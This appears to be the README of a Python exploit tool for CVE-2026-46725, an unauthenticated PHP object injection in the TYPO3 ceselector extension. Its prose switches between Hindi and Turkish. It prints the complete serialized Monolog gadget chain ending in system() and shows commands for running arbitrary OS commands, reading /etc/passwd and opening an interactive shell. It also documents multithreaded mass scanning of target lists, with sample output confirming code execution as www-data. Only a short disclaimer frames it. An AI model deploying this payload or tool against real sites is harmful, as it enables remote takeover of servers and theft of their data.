
# CVE-2026-46725 के लिए Python एक्सप्लॉइट, TYPO3 ceselector एक्सटेंशन में PHP ऑब्जेक्ट इंजेक्शन और Monolog गैजेट चेन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करना।
PHP ऑब्जेक्ट इंजेक्शन
unserialize()कुकी बाइपास के माध्यम से → रिमोट कोड एक्ज़ीक्यूशन
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-46725 |
| उत्पाद | TYPO3 ceselector एक्सटेंशन (mmc/ceselector) |
| प्रभावित संस्करण | <= 1.1.3 |
| भेद्यता प्रकार | असुरक्षित डिसीरियलाइज़ेशन (PHP Object Injection) |
| CVSS स्कोर | 9.8 Critical |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| EPSS स्कोर | 0.0046 (%64.3 percentile) |
| प्रमाणीकरण | आवश्यक नहीं (Unauthenticated) |
| प्रभाव | Full RCE — सिस्टम का पूर्ण नियंत्रण |
| शोधकर्ता | DhiyaneshDk |
TYPO3 ceselector एक्सटेंशन, T3_ceselector_* नामक कुकी मान को बिना किसी सत्यापन के सीधे unserialize() फ़ंक्शन में पास करता है। हमलावर इस कुकी में विशेष रूप से तैयार PHP Object Injection पेलोड डालकर सर्वर पर मनमाना कमांड चला सकता है।
⚠️ पूर्वापेक्षा: भेद्यता का शोषण करने के लिए TYPO3 कॉन्फ़िगरेशन में Persistent Mode: Static सेटिंग का सक्रिय होना आवश्यक है।
1. GET / → Sunucu Set-Cookie: T3_ceselector_<id>=<value> döner
2. GET / → Cookie: T3_ceselector_<id>=<PAYLOAD>
└─ PHP unserialize() tetiklenir
└─ Monolog Gadget Chain çalışır
└─ system("id") çıktısı response'a yansır
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("<CMD>") ← RCE
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← OS komutu buraya
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
requests लाइब्रेरीPython >= 3.8
requests >= 2.28.0
# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# Bağımlılıkları yükle
pip install requests
# veya requirements.txt ile
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD Çalıştırılacak OS komutu (varsayılan: id)
-i, --interactive Başarılı exploit sonrası interaktif shell aç
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy (örn: http://127.0.0.1:8080)
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
python CVE-2026-46725.py -u https://typo3-site.com
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
https://site1.com
https://site2.com
http://site3.com
site4.com
① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3 ✓ Tespit edildi
· ceselector ✓ Aktif
· Cookie Adı T3_ceselector_48291
· TYPO3 Sürüm 12.4.3
② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik PHP Object Injection → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· Komut id
④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
results.txt)============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================
[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL : https://typo3-site.com
Sürüm : 12.4.3
Cookie : T3_ceselector_48291
Komut : id
Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌─────────────────────────────────────────────────────────┐
│ EXPLOIT AKIŞI │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. TESPIT │
│ GET / ──────────────────────► TYPO3 Sunucu │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. PAYLOAD HAZIRLAMA │
│ build_payload("id") │
│ └─ Monolog gadget chain URL-encode edilir │
│ │
│ 3. EXPLOIT │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. DOĞRULAMA │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षणों के लिए विकसित किया गया है।
- केवल अपने स्वयं के सिस्टम या जिन सिस्टमों के लिए आपके पास लिखित अनुमति है उन पर उपयोग करें।
- बिना अनुमति के सिस्टम के विरुद्ध उपयोग करना अवैध है और इसके कानूनी परिणाम हो सकते हैं।
- डेवलपर इस उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं ठहराया जा सकता।
CVE-2026-46725 | TYPO3 ceselector RCE | Python Exploit